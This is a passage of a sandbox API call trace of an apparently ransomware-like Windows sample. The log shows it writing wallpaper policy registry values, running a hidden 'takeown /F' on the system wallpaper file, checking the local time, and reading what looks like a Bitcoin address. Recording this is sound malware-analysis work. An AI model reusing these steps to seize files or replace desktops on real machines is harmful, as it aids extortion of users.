lpMultiByteStr=0x14f560c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0177.034] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpWideCharStr=0x14b4f74, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0177.034] RegFlushKey (hKey=0x0) returned 0x6 [0177.034] GetLastError () returned 0x0 [0177.034] RegCloseKey (hKey=0x0) returned 0x6 [0177.034] GetLastError () returned 0x0 [0177.035] SysStringLen (param_1="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0177.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0177.035] SysStringLen (param_1="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0177.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=67, lpMultiByteStr=0x1445ffc, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 67 [0177.035] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.035] GetLastError () returned 0x0 [0177.035] SysStringByteLen (bstr="ⵓⴱⴵ㠱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0177.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0177.035] SysStringByteLen (bstr="ⵓⴱⴵ㠱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0177.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=67, lpWideCharStr=0x144bb04, cchWideChar=133 | out: lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 67 [0177.035] SysStringLen (param_1="0") returned 0x1 [0177.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0177.035] SysStringLen (param_1="0") returned 0x1 [0177.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x14f560c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0177.035] SysStringLen (param_1="WallpaperStyle") returned 0xe [0177.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.035] SysStringLen (param_1="WallpaperStyle") returned 0xe [0177.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5634, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0177.035] RegSetValueExA (hKey=0x0, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData=0x14f560c, cbData=0x1) returned 0x6 [0177.035] GetLastError () returned 0x0 [0177.035] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0177.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0177.035] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0177.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=15, lpWideCharStr=0x14b4f74, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0177.035] SysStringByteLen (bstr="0") returned 0x1 [0177.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0177.036] SysStringByteLen (bstr="0") returned 0x1 [0177.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=2, lpWideCharStr=0x53a5384, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0177.036] RegFlushKey (hKey=0x0) returned 0x6 [0177.036] GetLastError () returned 0x0 [0177.036] RegCloseKey (hKey=0x0) returned 0x6 [0177.036] GetLastError () returned 0x0 [0177.036] SysStringLen (param_1=" ") returned 0x104 [0177.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=260, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 260 [0177.036] SysStringLen (param_1=" ") returned 0x104 [0177.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=261, lpMultiByteStr=0x53ccd0c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 261 [0177.036] RegEnumKeyA (in: hKey=0x80000003, dwIndex=0x6, lpName=0x53ccd0c, cchName=0x104 | out: lpName=" ") returned 0x103 [0177.036] GetLastError () returned 0x0 [0177.036] SysStringByteLen (bstr="††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0177.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53ccd0c, cbMultiByte=260, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 260 [0177.036] SysStringByteLen (bstr="††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0177.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53ccd0c, cbMultiByte=261, lpWideCharStr=0x14e628c, cchWideChar=521 | out: lpWideCharStr=" ") returned 261 [0177.036] IMalloc:Free (This=0x767666bc, pv=0x142e1e0) [0177.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ecb4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0177.037] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0177.037] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0177.037] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0177.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14f560c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0177.037] SysReAllocStringLen (in: pbstr=0x18ed44*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed44*="C:") returned 1 [0177.037] VarCat (in: pvarLeft=0x18ef18, pvarRight=0x18eeb8, pvarResult=0x18ef08 | out: pvarResult=0x18ef08) returned 0x0 [0177.037] SysStringLen (param_1="C:\\Windows\\Web\\Wallpaper\\Windows\\") returned 0x21 [0177.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Web\\Wallpaper\\Windows\\", cchWideChar=34, lpMultiByteStr=0x144bb04, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Web\\Wallpaper\\Windows\\", lpUsedDefaultChar=0x0) returned 34 [0177.037] lstrlenA (lpString="C:\\Windows\\Web\\Wallpaper\\Windows\\") returned 33 [0177.037] lstrlenA (lpString="C:\\Windows\\Web\\Wallpaper\\Windows\\") returned 33 [0177.049] lstrcpyA (in: lpString1=0x18ea94, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0177.050] lstrlenA (lpString="C:") returned 2 [0177.050] lstrlenA (lpString="\\Windows\\Web\\Wallpaper\\Windows\\") returned 31 [0177.050] lstrcatA (in: lpString1="C:", lpString2="\\Windows\\Web\\Wallpaper\\Windows\\" | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows\\") returned="C:\\Windows\\Web\\Wallpaper\\Windows\\" [0177.050] SetCurrentDirectoryA (lpPathName="C:\\" (normalized: "c:")) returned 1 [0177.051] SetCurrentDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0177.051] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383baf8 | out: hHeap=0x3820000) returned 1 [0177.051] IsCharAlphaA (ch=67) returned 1 [0177.053] lstrlenA (lpString="C:\\Windows\\Web\\Wallpaper\\Windows") returned 32 [0177.053] GetFileAttributesA (lpFileName="C:\\Windows\\Web\\Wallpaper\\Windows" (normalized: "c:\\windows\\web\\wallpaper\\windows")) returned 0x10 [0177.054] lstrcpyA (in: lpString1=0x18ebc0, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows" | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows") returned="C:\\Windows\\Web\\Wallpaper\\Windows" [0177.054] lstrcmpA (lpString1="C:\\ProgramData", lpString2="C:\\Windows\\Web\\Wallpaper\\Windows") returned -1 [0177.055] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x21) returned 0x383baf8 [0177.055] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ea8 | out: hHeap=0x3820000) returned 1 [0177.055] lstrcpyA (in: lpString1=0x18e84c, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows" | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows") returned="C:\\Windows\\Web\\Wallpaper\\Windows" [0177.055] GetShortPathNameA (in: lpszLongPath="C:\\Windows\\Web\\Wallpaper\\Windows", lpszShortPath=0x18e954, cchBuffer=0x105 | out: lpszShortPath="C:\\Windows\\Web\\WALLPA~1\\Windows") returned 0x1f [0177.055] lstrlenA (lpString="C:\\Windows\\Web\\WALLPA~1\\Windows") returned 31 [0177.056] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0177.056] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0177.056] lstrcpyA (in: lpString1=0x18e974, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0177.056] FindFirstFileA (in: lpFileName="C:\\Windows\\Web\\WALLPA~1\\Windows\\*.*", lpFindFileData=0x18ea5c | out: lpFindFileData=0x18ea5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x93daeaa1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName=".", cAlternateFileName="")) returned 0x143cf08 [0177.056] FindNextFileA (in: hFindFile=0x143cf08, lpFindFileData=0x18ea5c | out: lpFindFileData=0x18ea5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x93daeaa1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName="..", cAlternateFileName="")) returned 1 [0177.056] FindNextFileA (in: hFindFile=0x143cf08, lpFindFileData=0x18ea5c | out: lpFindFileData=0x18ea5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302d6005, ftCreationTime.dwHighDateTime=0x1c9ea49, ftLastAccessTime.dwLowDateTime=0x302d6005, ftLastAccessTime.dwHighDateTime=0x1c9ea49, ftLastWriteTime.dwLowDateTime=0x302fc165, ftLastWriteTime.dwHighDateTime=0x1c9ea49, nFileSizeHigh=0x0, nFileSizeLow=0x9cfab, dwReserved0=0x0, dwReserved1=0x184, cFileName="img0.jpg", cAlternateFileName="")) returned 1 [0177.056] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18ea88) returned 0x0 [0177.056] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18ea88) returned 0x0 [0177.056] FindNextFileA (in: hFindFile=0x143cf08, lpFindFileData=0x18ea5c | out: lpFindFileData=0x18ea5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302d6005, ftCreationTime.dwHighDateTime=0x1c9ea49, ftLastAccessTime.dwLowDateTime=0x302d6005, ftLastAccessTime.dwHighDateTime=0x1c9ea49, ftLastWriteTime.dwLowDateTime=0x302fc165, ftLastWriteTime.dwHighDateTime=0x1c9ea49, nFileSizeHigh=0x0, nFileSizeLow=0x9cfab, dwReserved0=0x0, dwReserved1=0x184, cFileName="img0.jpg", cAlternateFileName="")) returned 0 [0177.056] FindClose (in: hFindFile=0x143cf08 | out: hFindFile=0x143cf08) returned 1 [0177.057] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0177.057] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x46, wParam=0x0, lParam=0x18e474) returned 0x0 [0177.057] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x83, wParam=0x1, lParam=0x18e44c) returned 0x0 [0177.058] GetParent (hWnd=0x5011e) returned 0x30268 [0177.058] GetWindowRect (in: hWnd=0x5011e, lpRect=0x18e1f4 | out: lpRect=0x18e1f4) returned 1 [0177.058] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18e1f4, cPoints=0x2 | out: lpPoints=0x18e1f4) returned -10092677 [0177.058] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x47, wParam=0x0, lParam=0x18e474) returned 0x0 [0177.058] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x5, wParam=0x0, lParam=0xd0023) returned 0x0 [0177.059] InvalidateRect (hWnd=0x5011e, lpRect=0x0, bErase=1) returned 1 [0177.059] InvalidateRect (hWnd=0x5011e, lpRect=0x0, bErase=1) returned 1 [0177.059] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0177.059] lstrcpyA (in: lpString1=0x18e8c8, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows" | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows") returned="C:\\Windows\\Web\\Wallpaper\\Windows" [0177.059] GetShortPathNameA (in: lpszLongPath="C:\\Windows\\Web\\Wallpaper\\Windows", lpszShortPath=0x18e9d0, cchBuffer=0x105 | out: lpszShortPath="C:\\Windows\\Web\\WALLPA~1\\Windows") returned 0x1f [0177.060] lstrlenA (lpString="C:\\Windows\\Web\\WALLPA~1\\Windows") returned 31 [0177.060] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0177.060] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0177.060] lstrcpyA (in: lpString1=0x18e9f0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0177.061] FindFirstFileA (in: lpFileName="C:\\Windows\\Web\\WALLPA~1\\Windows\\*.*", lpFindFileData=0x18ead8 | out: lpFindFileData=0x18ead8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x93daeaa1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName=".", cAlternateFileName="")) returned 0x143cf08 [0177.061] FindNextFileA (in: hFindFile=0x143cf08, lpFindFileData=0x18ead8 | out: lpFindFileData=0x18ead8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x93daeaa1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName="..", cAlternateFileName="")) returned 1 [0177.061] FindNextFileA (in: hFindFile=0x143cf08, lpFindFileData=0x18ead8 | out: lpFindFileData=0x18ead8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302d6005, ftCreationTime.dwHighDateTime=0x1c9ea49, ftLastAccessTime.dwLowDateTime=0x302d6005, ftLastAccessTime.dwHighDateTime=0x1c9ea49, ftLastWriteTime.dwLowDateTime=0x302fc165, ftLastWriteTime.dwHighDateTime=0x1c9ea49, nFileSizeHigh=0x0, nFileSizeLow=0x9cfab, dwReserved0=0x0, dwReserved1=0x184, cFileName="img0.jpg", cAlternateFileName="")) returned 1 [0177.061] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18eb04) returned 0x0 [0177.061] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18eb04) returned 0x0 [0177.061] FindNextFileA (in: hFindFile=0x143cf08, lpFindFileData=0x18ead8 | out: lpFindFileData=0x18ead8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302d6005, ftCreationTime.dwHighDateTime=0x1c9ea49, ftLastAccessTime.dwLowDateTime=0x302d6005, ftLastAccessTime.dwHighDateTime=0x1c9ea49, ftLastWriteTime.dwLowDateTime=0x302fc165, ftLastWriteTime.dwHighDateTime=0x1c9ea49, nFileSizeHigh=0x0, nFileSizeLow=0x9cfab, dwReserved0=0x0, dwReserved1=0x184, cFileName="img0.jpg", cAlternateFileName="")) returned 0 [0177.061] FindClose (in: hFindFile=0x143cf08 | out: hFindFile=0x143cf08) returned 1 [0177.061] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0177.061] InvalidateRect (hWnd=0x5011e, lpRect=0x0, bErase=1) returned 1 [0177.061] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0177.061] UpdateWindow (hWnd=0x5011e) returned 1 [0177.061] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x1 [0177.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ecb4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0177.061] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0177.062] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0177.062] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0177.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14f5e54, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0177.062] SysReAllocStringLen (in: pbstr=0x18ed44*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed44*="C:") returned 1 [0177.062] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18a, wParam=0x0, lParam=0x0) returned 0x8 [0177.062] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3832ea8 [0177.062] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x189, wParam=0x0, lParam=0x3832ea8) returned 0x8 [0177.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0177.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ea8, cbMultiByte=-1, lpWideCharStr=0x14f5e04, cchWideChar=9 | out: lpWideCharStr="img0.jpg") returned 9 [0177.062] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ea8 | out: hHeap=0x3820000) returned 1 [0177.062] VarCat (in: pvarLeft=0x18eeb8, pvarRight=0x18ef18, pvarResult=0x18ef08 | out: pvarResult=0x18ef08) returned 0x0 [0177.062] VarCat (in: pvarLeft=0x18ef08, pvarRight=0x18eea8, pvarResult=0x18eef8 | out: pvarResult=0x18eef8) returned 0x0 [0177.062] VarCat (in: pvarLeft=0x18eef8, pvarRight=0x18eee8, pvarResult=0x18eed8 | out: pvarResult=0x18eed8) returned 0x0 [0177.062] SysStringLen (param_1="/F C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned 0x2c [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/F C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0177.062] SysStringLen (param_1="/F C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned 0x2c [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/F C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", cchWideChar=45, lpMultiByteStr=0x14b4f74, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/F C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", lpUsedDefaultChar=0x0) returned 45 [0177.062] SysStringLen (param_1="takeown") returned 0x7 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="takeown", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.062] SysStringLen (param_1="takeown") returned 0x7 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="takeown", cchWideChar=8, lpMultiByteStr=0x14f5b84, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="takeown", lpUsedDefaultChar=0x0) returned 8 [0177.062] SysStringLen (param_1="open") returned 0x4 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.062] SysStringLen (param_1="open") returned 0x4 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x14f5e2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0177.063] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="takeown", lpParameters="/F C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0177.063] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18eba8) returned 0x0 [0177.113] GetCapture () returned 0x0 [0177.113] GetCapture () returned 0x0 [0177.114] GetCapture () returned 0x0 [0177.114] GetCapture () returned 0x0 [0177.114] GetCapture () returned 0x0 [0177.114] GetCapture () returned 0x0 [0177.114] GetActiveWindow () returned 0x40298 [0177.114] GetWindowThreadProcessId (in: hWnd=0x40298, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9ec [0177.115] GetFocus () returned 0x40298 [0177.115] KillTimer (hWnd=0x70116, uIDEvent=0x70116) returned 1 [0177.115] GetLocalTime (in: lpSystemTime=0x18e828 | out: lpSystemTime=0x18e828*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x1d5)) [0177.115] SysStringLen (param_1="9:06:01 PM") returned 0xa [0177.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9:06:01 PM", cchWideChar=11, lpMultiByteStr=0x1436794, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9:06:01 PM", lpUsedDefaultChar=0x0) returned 11 [0177.115] lstrcmpA (lpString1="11:11:11", lpString2="9:06:01 PM") returned -1 [0177.115] lstrlenA (lpString="9:06:01 PM") returned 10 [0177.115] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3832ea8 [0177.115] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0177.115] InflateRect (in: lprc=0x18e798, dx=0, dy=0 | out: lprc=0x18e798) returned 1 [0177.115] InvalidateRect (hWnd=0x20264, lpRect=0x18e798, bErase=1) returned 1 [0177.116] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0177.116] GetFocus () returned 0x40298 [0177.116] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383bb28 [0177.116] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xd, wParam=0x23, lParam=0x383bb28) returned 0x22 [0177.116] GetFocus () returned 0x40298 [0177.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383bb28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0177.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383bb28, cbMultiByte=-1, lpWideCharStr=0x146c82c, cchWideChar=35 | out: lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 35 [0177.116] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, 